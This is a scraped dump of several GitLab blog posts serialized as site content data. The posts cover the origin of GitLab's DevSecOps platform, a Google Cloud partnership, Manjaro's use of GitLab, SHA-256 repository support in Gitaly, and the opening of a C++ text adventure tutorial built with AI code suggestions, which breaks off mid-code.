GitLab become more popular and attract even more community contributions, which it did.\n\nThis was our exchange: \n\n\n![Emails between Sid and Dmitriy](https://about.gitlab.com/images/blogimages/devsecopsoriginmessages.png){: .shadow}\n\n\nIn late 2012, similar to how Dmitriy made an SCM tool for his own need, he built his own continuous integration (CI) tool called GitLab CI, a tool that ran tests to check the code for conflicts.\n\nMeanwhile, large organizations began adopting GitLab, and Dmitriy tweeted that he wanted to work on GitLab full-time. I got in touch with him to work out an arrangement for him to join GitLab, the company. But when I went to the local Western Union branch to make a wire transfer, I had to convince the teller that I knew Dmitriy and was not falling victim to wire transfer fraud - a common issue at the time.\n\nWe then introduced [GitLab Enterprise Edition](https://about.gitlab.com/releases/2013/07/22/announcing-gitlab-enterprise-edition/) with features asked for by larger organizations. \n\nThen, in 2015, we noticed that a community contributor named Kamil Trzciński built a far better runner than we did (ours was in Ruby and single-threaded, his was in Go and multi-threaded). It was so much better that we decided to adopt his runner as the standard.\n\nThrough iteration, building on each other’s ideas, and being open to ideas from outside our company, we continued to build two great tools for SCM and CI. \n\nHowever, I admit that there were critical moments when our willingness to allow others to contribute would be tested. When Kamil joined GitLab full-time we could not have predicted that he would help us discover a new category. Not by contributing a better CI runner but by changing the way software is developed. \n\nKamil suggested a radical idea: to integrate GitLab SCM and GitLab CI into one tool.\n\n## Disagree, commit, and disagree\nDmitriy and I disagreed with Kamil. Dmitriy believed in the Unix philosophy where one program should do one thing well; if you want a program to do something else, start a new one. I thought that customers wanted separate tools for separate use cases. The market was filled with specialized point solutions.\n\nMany business leaders say, “Disagree and commit,” and we did. We disagreed, and committed to continuing to build two different products.\n\nBut Kamil persisted in making a strong case for [why SCM and CI should be integrated](https://about.gitlab.com/blog/gitlab-hero-devops-platform/). This is when our operating principle of [disagree, commit, and disagree](https://handbook.gitlab.com/handbook/values/#disagree-commit-and-disagree) was born. Every decision can be changed, and the best decisions should often be made despite management’s opinion.\n\nDmitry and I relented and took Kamil’s suggestion over our opinion and the opinion of the market. \n\nIt was a lazy choice because combining SCM and CI would mean having only one Ruby on Rails app to maintain. We could avoid duplicating the interface and the data, making it more efficient to develop code. But it also ended up being a far better user experience, giving customers a much faster way to set up CI, and faster cycle times by not having to switch between apps. GitLab became a platform with one UI, one data store, one way to serve up information, and one way for a company to collaborate and be on the same page at the same time.\n\nBy taking the suggestion of someone new to the team and creating [the world’s first DevOps platform](https://about.gitlab.com/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform/), we changed the course of our company and, eventually, the whole software development industry. I am proud to be a part of the DevSecOps Platform story because it is a story about allowing everyone to contribute, especially when someone else has the best idea. \n\nIt is important to disagree and commit but still disagree. That is how Dmitriy and I realized that there could be one platform for the entire software development lifecycle, and eight years later, Forrester, Gartner, and the market see it, too.\n\nToday, we have a [DevSecOps platform](https://about.gitlab.com/platform/?stage=plan). \n\nLooking to the future, we hope to create another category: [AllOps](https://about.gitlab.com/company/vision/), a single application, for all R&D that includes DevSecOps, ModelOps DataOps, and Service Desk. \n\nIn the future, we will expand support for [ModelOps and DataOps](https://about.gitlab.com/direction/modelops/) to give customers the ability to manage data and its associated AI/ML models in a similar fashion to their software projects. \n\nAnd, because customers need the ability to triage application incidents directly where their applications are built and deployed, we will continue to expand our [Service Desk](https://docs.gitlab.com/ee/user/project/service_desk/index.html) offering.\n\nIt is GitLab’s mission to ensure that everyone can contribute. Our vision for AllOps moves us further in that direction - to deliver a single application for all innovation.\n",[736,676,479,943],{"slug":8738,"featured":6,"template":678},"origin-of-devsecops-platform-category","content:en-us:blog:origin-of-devsecops-platform-category.yml","Origin Of Devsecops Platform Category","en-us/blog/origin-of-devsecops-platform-category.yml","en-us/blog/origin-of-devsecops-platform-category",{"_path":8744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8745,"content":8751,"config":8756,"_id":8758,"_type":16,"title":8759,"_source":17,"_file":8760,"_stem":8761,"_extension":20},"/en-us/blog/gitlab-google-partnership-s3c",{"title":8746,"description":8747,"ogTitle":8746,"ogDescription":8747,"noIndex":6,"ogImage":8748,"ogUrl":8749,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8749,"schema":8750},"Better together with GitLab and Google Cloud","GitLab’s DevSecOps workflow now integrates with Google Cloud secure Artifact Registry, security scanning, and deployment toolchains.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679290/Blog/Hero%20Images/gitlabgooglecloud.png","https://about.gitlab.com/blog/gitlab-google-partnership-s3c","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Better together with GitLab and Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2023-08-29\",\n      }",{"title":8746,"description":8747,"authors":8752,"heroImage":8748,"date":8753,"body":8754,"category":736,"tags":8755},[2985],"2023-08-29","\nToday, we are pleased to announce that Google Cloud and GitLab are partnering to integrate GitLab's unique capabilities with Google Cloud. This partnership will combine GitLab's source code management, planning, CI/CD workflow, advanced security, and compliance capabilities with the unified data plane in Google’s Cloud console and Artifact Registry.\n\nWe continually hear developers are frustrated with the increased complexity and security risk of having multiple point solutions in their DevSecOps toolchain. Our new integration will bring multiple tools together to allow them to be fully managed and cloud-hosted.  The integration relieves operators of the duties typically associated with a self-hosted solution, such as applying patches and upgrades and then testing them to make sure things continue to work as expected. Developers will love that they are able to reduce the number of tools and cognitive load needed to develop and ship software faster, with security included from the start.\n\n> Sign up for the Google Software Supply Chain Security and GitLab DevSecOps [integration waitlist](https://page.gitlab.com/interest-gitlab-and-google-security-solution-contact-request.html).\n\n## Powering the DevSecOps lifecycle with scale and visibility \nGoogle’s Software Supply Chain Security pairs with GitLab’s DevSecOps platform to provide system-wide governance and policy enforcement throughout the software development lifecycle. \n\n![Diagram](https://about.gitlab.com/images/blogimages/2023-08-29-gitlab-google-partnership/s3cimage1.png){: .shadow}\n\nThe joint solution replaces a myriad of point solutions that are difficult to manage, maintain, and upgrade. The integration will enable customers to better leverage the benefits of GitLab’s unified DevSecOps workflow with native supply chain security capabilities from Google Cloud. \n\n## Seamless connections for security \nEven before a developer writes any code, they will be able to easily access their GitLab project from the Google Cloud Console. Teams will be able to plan, create issues, and define epics all within GitLab, ensuring security is integrated from the start. \n\nWhen code is ready to be pushed to production, the integration will enable easy registration and configuration of private Google Cloud-powered runners from within GitLab, then utilize CI/CD component templates for deploying to various Google Cloud resources like Google Kubernetes Engine (GKE) and Cloud Run.\n\nOne of the most exciting things for our customers' connected experience will be the ability to use Google’s Artifact Registry with GitLab’s pipelines and packaging to create a security data plane. In this view of the Google Artifact Registry, developers will be able to see a consolidation of security scanning results and the metadata from vulnerability reports in GitLab. A great example of how users will benefit is from having a SLSA-rated provenance telling users where and how software was built, a software bill of materials (SBOM) which provides transparency regarding the content of the software artifacts, and vulnerability impact information gated with Google’s Binary Authorization policies. Outputs from GitLab can be confirmed via attestation and signature such that packages can be prevented from running on a cluster if they do not satisfy the security or verification requirements. \n\n![Artifacts](https://about.gitlab.com/images/blogimages/2023-08-29-gitlab-google-partnership/s3cimage2.png){: .shadow}\n\n\"We are excited to expand our partnership with GitLab to provide our customers end-to-end software supply chain security that is easier and more accessible than ever before,” said Gabe Monroy, VP of Developer Experience at Google Cloud. “I am looking forward to more joint innovation with GitLab in the DevSecOps space with the goal of helping our customers deliver software more rapidly and with greater confidence.\"\n\n## Join our early access program \nWe are excited about how this collaboration will help Google Cloud and GitLab customers ship better, more secure, software faster. To join our early access program, sign up for the [waitlist](https://page.gitlab.com/interest-gitlab-and-google-security-solution-contact-request.html)! \n\n",[736,923,232],{"slug":8757,"featured":6,"template":678},"gitlab-google-partnership-s3c","content:en-us:blog:gitlab-google-partnership-s3c.yml","Gitlab Google Partnership S3c","en-us/blog/gitlab-google-partnership-s3c.yml","en-us/blog/gitlab-google-partnership-s3c",{"_path":8763,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8764,"content":8769,"config":8773,"_id":8775,"_type":16,"title":8776,"_source":17,"_file":8777,"_stem":8778,"_extension":20},"/en-us/blog/why-manjaro-builds-with-gitlab",{"title":8765,"description":8766,"ogTitle":8765,"ogDescription":8766,"noIndex":6,"ogImage":831,"ogUrl":8767,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8767,"schema":8768},"Why the Manjaro Linux distribution builds with GitLab","Watch this interview with the Manjaro project to learn why the Linux distribution chooses to build with GitLab.","https://about.gitlab.com/blog/why-manjaro-builds-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why the Manjaro Linux distribution builds with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-08-29\",\n      }",{"title":8765,"description":8766,"authors":8770,"heroImage":831,"date":8753,"body":8771,"category":813,"tags":8772},[8083],"\nThe [Manjaro](https://manjaro.org/) project is the newest member of the [GitLab Open Source Partners](https://go.gitlab.com/BM5JwV) community. Linux users know the Manjaro project as an [open source](https://go.gitlab.com/wYTY0o) operating system that is fast, reliable, and user-friendly. We recently caught up with project leaders [Philip Müller](https://gitlab.com/philm) and [Bernhard Landauer](https://gitlab.com/oberon-manjaro) to learn how GitLab helps the Manjaro community accomplish its great work.\n\n> [Join us at Open Source Summit Europe 2023](https://go.gitlab.com/dPQ92t) to learn more about GitLab's dedication to open source.\n\n## Why the Manjaro project moved to GitLab\nIn 2018, the Manjaro community decided to [adopt GitLab](https://gitlab.manjaro.org) as its development platform, citing several key motivations:\n* **Achieve greater data sovereignty.** By migrating to a new development platform, Manjaro wanted to gain greater control over project development infrastructure. The community now hosts its own dedicated GitLab instance, where all critical Manjaro development occurs. The move has meant greater freedom and autonomy for the community. \"It feels really good to self-host and have our own control,\" Landauer said.\n\n* **Empower a small group of volunteers.** Like so many other open source projects, Manjaro relies on the dedicated work of volunteer contributors from across the world. Müller explained that the project needed a toolkit that could equip a core group of 16 developers to maintain [more than 3,000 packages](https://gitlab.manjaro.org/packages) and foster a community of roughly 8,000 participants. GitLab's sophisticated [CI/CD functionality](https://docs.gitlab.com/ee/ci/) helps the community scale to empower its relatively small developer team to manage ever-increasing complexity.\n\n* **Expand monitoring capabilities.** Using GitLab grants community leads much greater visibility into the project's operations, Müller said. By configuring various activity feeds, maintainers can more efficiently monitor potential pipeline issues and build failures across projects in the Manjaro namespace. Adopting GitLab also produced an interesting network effect for Manjaro: Using the same platform as peers, dependencies, and upstream projects meant greater overall visibility into Manjaro's open source ecosystem. \"Projects like [GNOME and KDE are switching](https://go.gitlab.com/BM5JwV) also over to GitLab,\" Müller said. \"We can look at what the upstream is doing.\"\n\n## Watch the interview\nTo learn more about Manjaro's use of GitLab, watch the full interview.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Rn5IiI3--Ag\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n[Join us at Open Source Summit Europe 2023](https://go.gitlab.com/dPQ92t) to learn more about GitLab's dedication to open source.\n{: .note}\n",[815,267,754],{"slug":8774,"featured":6,"template":678},"why-manjaro-builds-with-gitlab","content:en-us:blog:why-manjaro-builds-with-gitlab.yml","Why Manjaro Builds With Gitlab","en-us/blog/why-manjaro-builds-with-gitlab.yml","en-us/blog/why-manjaro-builds-with-gitlab",{"_path":8780,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8781,"content":8786,"config":8791,"_id":8793,"_type":16,"title":8794,"_source":17,"_file":8795,"_stem":8796,"_extension":20},"/en-us/blog/sha256-support-in-gitaly",{"title":8782,"description":8783,"ogTitle":8782,"ogDescription":8783,"noIndex":6,"ogImage":8116,"ogUrl":8784,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8784,"schema":8785},"GitLab Gitaly project now supports the SHA 256 hashing algorithm","Gitaly now supports SHA-256 repositories. Here's why it matters.","https://about.gitlab.com/blog/sha256-support-in-gitaly","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Gitaly project now supports the SHA 256 hashing algorithm\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Cai\"}],\n        \"datePublished\": \"2023-08-28\",\n      }",{"title":8782,"description":8783,"authors":8787,"heroImage":8116,"date":8788,"body":8789,"category":736,"tags":8790},[4903],"2023-08-28","\nWe've taken a huge step in SHA-256 support in GitLab: The [Gitaly](https://gitlab.com/gitlab-org/gitaly) project now fully supports SHA-256 repositories. While there is [still some work](https://gitlab.com/groups/gitlab-org/-/epics/10981) we need to do in other parts of the GitLab application before SHA-256 repositories can be used, this milestone is important.\n\n## What is SHA-256?\nSHA-256 is a [hashing algorithm](https://about.gitlab.com/handbook/security/cryptographic-standard.html#algorithmic-standards). Given an input of data, it produces a fixed-length hash of 64 characters with hexadecimal digits. Git uses hashing algorithms to generate IDs for commits and other Git objects such as blobs,\ntrees, and tags.\n\nGit uses the SHA-1 algorithm by default. If you've ever used Git, you know that\ncommit IDs are a bunch of hexademical digits. A `git log` command yields\nsomething like the following:\n\n```\ncommit bcd64dba39c90daee2e1e8d9015809b992174e34 (HEAD -> main, origin/main, origin/HEAD)\nAuthor: John Cai \u003Cjcai@gitlab.com>\nDate:   Wed Jul 26 13:41:34 2023 -0400\n\n    Fix README.md\n```\n\nThe `bcd64dba39c90daee2e1e8d9015809b992174e34` is the ID of the commit and is a\n40-character hash generated by using the SHA-1 hashing algorithm.\n\nIn SHA-256 repositories, everything is the same except, instead of a 40-character\nID, it's now a 64-character ID:\n\n```\ncommit e60501431d52f6d06b4749cf205b0dd09141ea0b3155a45b9246df24eee9b97b (HEAD -> master)\nAuthor: John Cai \u003Cjcai@gitlab.com>\nDate:   Fri Jul 7 12:56:52 2023 -0400\n\n    Fix README.md\n```\n\n### Why SHA-256?\nSHA-1, which has been the algorithm that has been used until now in Git, is\ninsecure. In 2017, [Google was able to produce a hash collision](https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html). While the Git project is not yet impacted by these kinds of attacks due to the\nway it stores objects, it is only a matter of time until new attacks on SHA-1\nwill be found that would also impact Git.\n\nFederal regulations such as NIST and CISA [guidelines](https://csrc.nist.gov/projects/hash-functions/nist-policy-on-hash-functions),\nwhich [FedRamp](https://www.fedramp.gov/) enforces, set a due date in 2030 to\nstop using SHA-1, and encourage agencies to move away from it sooner if\npossible.\n\nIn addition, SHA-256 has been labeled experimental in the Git project for a long time,\nbut as of Git 2.42.0, the project has decided to [remove the experimental label](https://github.com/git/git/blob/master/Documentation/RelNotes/2.42.0.txt#L41-L45).\n\n### What does this mean for developers?\nFrom a usability perspective, SHA-256 and SHA-1 repositories really don't have a\nsignificant difference. For personal projects, SHA-1 is probably fine. However,\ncompanies and organizations are likely to switch to using SHA-256 repositories\nfor security reasons.\n\n### See SHA-256 in action\nIf you have `sha256sum(1)` installed, you can generate such a hash on the command line:\n\n```\n> printf '%s' \"please hash this data\" | sha256sum\n62f73749b40cc70f453320e1ffc37e405ba50474b5db68ad436e64b61fbb8cf0  -\n```\n\nWe can also see this in action in a Git repository. Let's create a repository,\nadd an initial commit, and inspect the contents of the commit object. **Note:** If\nyou try this yourself, the commit IDs will be different because the date of the\ncommit is part of the hash calculation.\n\n```\n> git init test-repo\n> cd test-repo\n> echo \"This is a README\" >README.md\n> git add .\n> git commit -m \"README\"\n[main (root-commit) 328b61f] README\n 1 file changed, 1 insertion(+)\n create mode 100644 README.md\n> zlib-flate -uncompress \u003C ./git/objects/32/8b61f2449205870f69b5981f58bd8cdbb22f95\ncommit 159tree 09303be712bd8e923f9b227c8522257fa32ca7dc\nauthor John Cai \u003Cjcai@gitlab.com> 1688748132 -0400\ncommitter John Cai \u003Cjcai@gitlab.com> 1688748132 -0400\n\nREADME\n```\n\nIn the last step, we uncompress the actual commit file on disk. Git zlib compresses object\nfiles before storing them on disk.\n\n`zlib-flate(1)` is a utility that comes packaed with `qpdf` that uncompresses zlib compressed files.\n\nNow, if we feed this data back into the SHA-1 algorithm, we get a predictable result:\n\n```\n> zlib-flate -uncompress \u003C .git/objects/32/8b61f2449205870f69b5981f58bd8cdbb22f95 | sha1sum\n328b61f2449205870f69b5981f58bd8cdbb22f95  -\n```\n\nAs we can see, the result of this is the commit ID.\n\nThe recommendation by NIST was to replace SHA-1 with SHA-2 or SHA-3. The\nGit project has [undergone this effort](https://git-scm.com/docs/hash-function-transition/),\nand the current state of the feature is that it's fully usable in Git and no\nlonger deemed experimental.\n\nIn fact, you can create and use repositories with SHA-256 as the hashing algorithm\nto see it in action on your local machine:\n\n```\n> git init --object-format=sha256 test-repo\n> cd test-repo\n> echo \"This is a README\" >README.md\n> git add .\n> git commit -m \"README\"\n[main (root-commit) e605014] README\n 1 file changed, 1 insertion(+)\n create mode 100644 README.md\n> git log\ncommit e60501431d52f6d06b4749cf205b0dd09141ea0b3155a45b9246df24eee9b97b (HEAD -> master)\nAuthor: John Cai \u003Cjcai@gitlab.com>\nDate:   Fri Jul 7 12:56:52 2023 -0400\n\n    README\n\n```\n\n",[1067,736,815,267],{"slug":8792,"featured":92,"template":678},"sha256-support-in-gitaly","content:en-us:blog:sha256-support-in-gitaly.yml","Sha256 Support In Gitaly","en-us/blog/sha256-support-in-gitaly.yml","en-us/blog/sha256-support-in-gitaly",{"_path":8798,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8799,"content":8805,"config":8811,"_id":8813,"_type":16,"title":8814,"_source":17,"_file":8815,"_stem":8816,"_extension":20},"/en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions",{"title":8800,"description":8801,"ogTitle":8800,"ogDescription":8801,"noIndex":6,"ogImage":8802,"ogUrl":8803,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8803,"schema":8804},"Explore the Dragon Realm: Building a C++ adventure game with AI","How to use GitLab Duo Code Suggestions to create a text-based adventure game, including magical locations to visit and items to procure, using C++.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663344/Blog/Hero%20Images/compassinfield.jpg","https://about.gitlab.com/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Explore the Dragon Realm: Build a C++ adventure game with a little help from AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2023-08-24\",\n      }",{"title":8806,"description":8801,"authors":8807,"heroImage":8802,"date":8808,"body":8809,"category":791,"tags":8810},"Explore the Dragon Realm: Build a C++ adventure game with a little help from AI",[2700],"2023-08-24","\nLearning, for me, has never been about reading a textbook or sitting in on a lecture - it's been about experiencing and immersing myself in a hands-on challenge. This is particulary true for new programming languages. With [GitLab Duo Code Suggestions](https://about.gitlab.com/gitlab-duo/), artificial intelligence (AI) becomes my interactive guide, providing an environment for trial, error, and growth. In this tutorial, we will build a text-based adventure game in C++ by using Code Suggestions to learn the programming language along the way.\n\nYou can use this table of contents to navigate into each section. It is recommended to read top-down for the best learning experience.\n\n- [Setup](#setup)\n  - [Installing VS Code](#installing-vs-code)\n  - [Installing Clang as a compiler](#installing-clang-as-a-compiler)\n  - [Setting up VS Code](#setting-up-vs-code)\n- [Getting started](#getting-started)\n  - [Compiling and running your program](#compiling-and-running-your-program)\n- [Setting the text adventure stage](#setting-the-adventure-stage)\n- [Defining the adventure: Variables](#defining-the-adventure-variables)\n- [Crafting the adventure: Making decisions with conditionals](#crafting-the-adventure-making-decisions-with-conditionals)\n- [Structuring the narrative: Characters](#structuring-the-narrative-characters)\n- [Structuring the narrative: Items](#structuring-the-narrative-items)\n- [Applying what we've learned at the Grand Library](#applying-what-weve-learned-at-the-grand-library)\n- [See you next time in the Dragon Realm](#see-you-next-time-in-the-dragon-realm)\n- [Share your feedback](#share-your-feedback)\n\n> Download [GitLab Ultimate for free](https://about.gitlab.com/gitlab-duo/) for a 30-day trial of GitLab Duo Code Suggestions.\n\n## Setup\nYou can follow this tutorial in your [preferred and supported IDE](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-in-other-ides-and-editors). Review the documentation to enable Code Suggestions for [GitLab.com SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas) or [GitLab self-managed instances](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).\n\nThese installation instructions are for macOS Ventura on M1 Silicon. \n\n### Installing VS Code\n\n* Download and install [VS Code](https://code.visualstudio.com/download).\n* Alternatively, you can also install it as a Homebrew cask: `brew install --cask visual-studio-code`.\n\n### Installing Clang as a compiler\n\n* On macOS, you'll need to install some developer tools. Open your terminal and type:\n\n```\nxcode-select --install\n```\n\nThis will prompt you to install Xcode's command line tools, which include the [Clang C++ compiler](https://clang.llvm.org/get_started.html).\n\nAfter the installation, you can check if `clang++` is installed by typing:\n\n```\nclang++ --version\n```\n\nYou should see an output that includes some information about the Clang version you have installed. \n\n### Setting up VS Code\n\n* Launch VS Code.\n* Install and configure [the GitLab Workflow extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow).\n* Optionally, in VS Code, install the [C/C++ Intellisense extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools), which helps with debugging C/C++. \n\n## Getting started\nNow, let's start building this magical adventure with C++. We'll start with a \"Hello World\" example.\n\nCreate a new project `learn-ai-cpp-adventure`. In the project root, create `adventure.cpp`. The first part of every C++ program is the `main()` function. It's the entry point of the program.\n\nWhen you start writing `int main() {`, Code Suggestions will help autocomplete the function with some default parameters.\n\n![adventure.cpp with a hello world implementation suggested by Code Suggestions](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/0-helloworld.png){: .shadow}\n\n```cpp\nint main()\n{\n    cout \u003C\u003C \"Hello World\" \u003C\u003C endl;\n    return 0;\n}\n```\n\nWhile this is a good place to start, we need to add an include and update the output statement:\n\n```cpp\n#include \u003Ciostream> // Include the I/O stream library for input and output\n\n// Main function, the starting point of the program\nint main()\n{\n    // Print \"Hello World!\" to the console\n    std::cout \u003C\u003C \"Hello World!\" \u003C\u003C std::endl;\n\n    // Return 0 to indicate successful execution\n    return 0;\n}\n```\n\nThe program prints \"Hello World!\" to the console when executed.\n\n* `#include \u003Ciostream>`: Because we are building a text-based adventure, we will rely on input from the player using input and output operations (I/O) in C++. This include is a preprocessor directive that tells our program to include the `iostream` library, which provides facilities to use input and output streams, such as `std::cout` for output.\n\n* You might find that Code Suggestions suggests `int main(int argc, char* argv[])` as the definition of our main function. The parameters `(int argc, char* argv[])` are used to pass command-line arguments to the program. Code Suggestions added them as default parameters, but they are not needed if you're not using command-line arguments. In that case, we can also define the main function as `int main()`.\n\n* `std::cout \u003C\u003C \"Hello World!\" \u003C\u003C std::endl;`: outputs \"Hello World\" to the console. The stream operator `\u003C\u003C` is used to send the string to output. `std::endl` is an end-line character.\n\n* `return 0;`: we use `return 0;` to indicate the end of the `main()` function and return a value of 0. In C++, it is good practice to return 0 to indicate the program has completed successfully.\n\n### Compiling and running your program\nNow that we have some code, let's review how we'll compile and run this program. \n* Open your terminal or use the terminal in VSCode (View -> Terminal).\n* Navigate to your project directory.\n* Compile your program by typing:\n\n```bash\nclang++ adventure.cpp -o adventure\n```\n\nThis command tells the Clang++ compiler to compile adventure.cpp and create an executable named adventure. After this, run your program by typing:\n\n```\n./adventure\n```\n\nYou should see \"Hello World!\" printed in the terminal. \n\nBecause our tutorial uses a single source file `adventure.cpp`, we can use the compiler directly to build our program. In the future, if the program grows beyond a file, we'll set up additional configurations to handle compilation. \n\n## Setting the text adventure stage\nBefore we get into more code, let's set the stage for our text adventure.\n\nFor this text adventure, players will explore the Dragon Realm. The Dragon Realm is full of mountains, lakes, and magic. Our player will enter the Dragon Realm for the first time, explore different locations, meet new characters, collect magical items, and journal their adventure. At every location, they will be offered choices to decide the course of their journey.\n\nTo kick off our adventure into the Dragon Realm, let's update our `adventure.cpp main()` function to be more specific. As you update the welcome message, you might find that Code Suggestions already knows we're building a game.\n\n![adventure.cpp - Code Suggestions offers suggestion of welcoming users to the Dragon Realm and knows its a game](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/1-welcome-to-the-realm.png){: .shadow}\n\n```cpp\n#include \u003Ciostream> // Include the I/O stream library for input and output\n\n// Main function, the starting point of the program\nint main()\n{\n    // Print \"Hello World!\" to the console\n    std::cout \u003C\u003C \"Welcome to the Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Return 0 to indicate successful execution\n    return 0;\n}\n```\n\n## Defining the adventure: Variables\nA variable stores data that can be used throughout the program scope in the `main()` function. A variable is defined by a type, which indicates the kind of data it can hold.\n\nLet's create a variable to hold our player's name and give it the type `string`. A `string` is designed to hold a sequence of characters so it's perfect for storing our player's name.\n\n```cpp\n#include \u003Ciostream> // Include the I/O stream library for input and output\n\n// Main function, the starting point of the program\nint main()\n{\n    // Print \"Hello World!\" to the console\n    std::cout \u003C\u003C \"Welcome to the Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Declare a string variable to hold the player's name\n    std::string playerName;\n\n    // Return 0 to indicate successful execution\n    return 0;\n}\n```\n\nAs you do this, you may notice that Code Suggestions knows what's coming next - prompting the user for their player's name.\n\n![adventure.cpp - Code Suggestions suggests welcoming the player with the playerName variable](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/2-player-name-variable.png){: .shadow}\n\nWe may be able to get more complete and specific Code Suggestions by providing comments about what we'd like to do with the name - personally welcome the player to the game. Start by adding our plan of action in comments.\n\n```cpp\n    // Declare a string variable to hold the player's name\n    std::string playerName;\n\n    // Prompt the user to enter their player name\n\n    // Display a personalized welcome message to the player with their name\n```\n\nTo capture the player's name from input, we need to use the `std::cin` object from the `iostream` library to fetch input from the player using the extraction operator `>>`. If you start typing `std::` to start prompting the user, Code Suggestions will make some suggestions to help you gather user input and save it to our `playerName` variable.\n\n![adventure.cpp - Code Suggestions prompts the user to input their player name](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/2.1-player-name-input.png){: .shadow}\n\nNext, to welcome our player personally to the game, we want to use `std::cout` and the `playerName` variable together:\n\n```cpp\n    // Declare a string variable to store the player name\n    std::string playerName;\n\n    // Prompt the user to enter their player name\n    std::cout \u003C\u003C \"Please enter your name: \";\n    std::cin >> playerName;\n\n    // Display a personalized welcome message to the player with their name\n    std::cout \u003C\u003C \"Welcome \" \u003C\u003C playerName \u003C\u003C \" to The Dragon Realm!\" \u003C\u003C std::endl;\n```\n\n## Crafting the adventure: Making decisions with conditionals\nIt's time to introduce our player to the different locations in tbe Dragon Realm they can visit. To prompt our player with choices, we use conditionals. Conditionals allow programs to take different actions based on criteria, such as user input.\n\nLet's offer the player a selection of locations to visit and capture their choice as an `int` value that corresponds to the location they picked.\n\n```cpp\n// Display a personalized welcome message to the player with their name\nstd::cout \u003C\u003C \"Welcome \" \u003C\u003C playerName \u003C\u003C \" to The Dragon Realm!\" \u003C\u003C std::endl;\n\n// Declare an int variable to capture the user's choice\nint choice;\n```\n\nThen, we want to offer the player the different locations that are possible for that choice. Let's start with a comment and prompt Code Suggestions with `std::cout` to fill out the details for us.\n\n![adventure.cpp - Code Suggestions suggests a multiline output for all the locations listed in the code below](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3-setup-location-choice.png){: .shadow}\n\nAs you accept the suggestions, Code Suggestions will help build out the output and ask the player for their input.\n\n![adventure.cpp - Code Suggestions suggests a multiline output for all the locations listed in the code below and asks for player input](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.1-capture-player-location-choice.png){: .shadow}\n\n```cpp\n    // Declare an int variable to capture the user's choice\n    int choice;\n\n    // Offer the player a choice of 3 locations: 1 for Moonlight Markets, 2 for Grand Library, and 3 for Shimmer Lake.\n    std::cout \u003C\u003C \"Where will \" \u003C\u003C playerName \u003C\u003C \" go?\" \u003C\u003C std::endl;\n    std::cout \u003C\u003C \"1. Moonlight Markets\" \u003C\u003C std::endl;\n    std::cout \u003C\u003C \"2. Grand Library\" \u003C\u003C std::endl;\n    std::cout \u003C\u003C \"3. Shimmer Lake\" \u003C\u003C std::endl;\n    std::cout \u003C\u003C \"Please enter your choice: \";\n    std::cin >> choice;\n```\n\nOnce you start typing `std::cin >>` or accept the prompt for asking the player for their choice, Code Suggestions might offer a suggestion for building out your conditional flow. AI is non-deterministic: One suggestion can involve if/else statements while another solution uses a switch statement.\n\nTo give Code Suggestions a nudge, we'll add a comment and start typing out an if statement: `if (choice ==)`.\n\n![adventure.cpp - Code Suggestions suggests using an if statement to manage choice of locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.2-if-statement-locations.png){: .shadow}\n\nAnd if you keep accepting the subsequent suggestions, Code Suggestions will autocomplete the code using if/else statements.\n\n![adventure.cpp - Code Suggestions helps the user fill out the rest of the if/else statements for choosing a location](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.2.1-if-statement-locations-continued.png){: .shadow}\n\n```cpp\n    // Check the user's choice and display the corresponding messages\n    if (choice == 1) {\n        std::cout \u003C\u003C \"You chose Moonlight Markets\" \u003C\u003C std::endl;\n    }\n    else if (choice == 2) {\n        std::cout \u003C\u003C \"You chose Grand Library\" \u003C\u003C 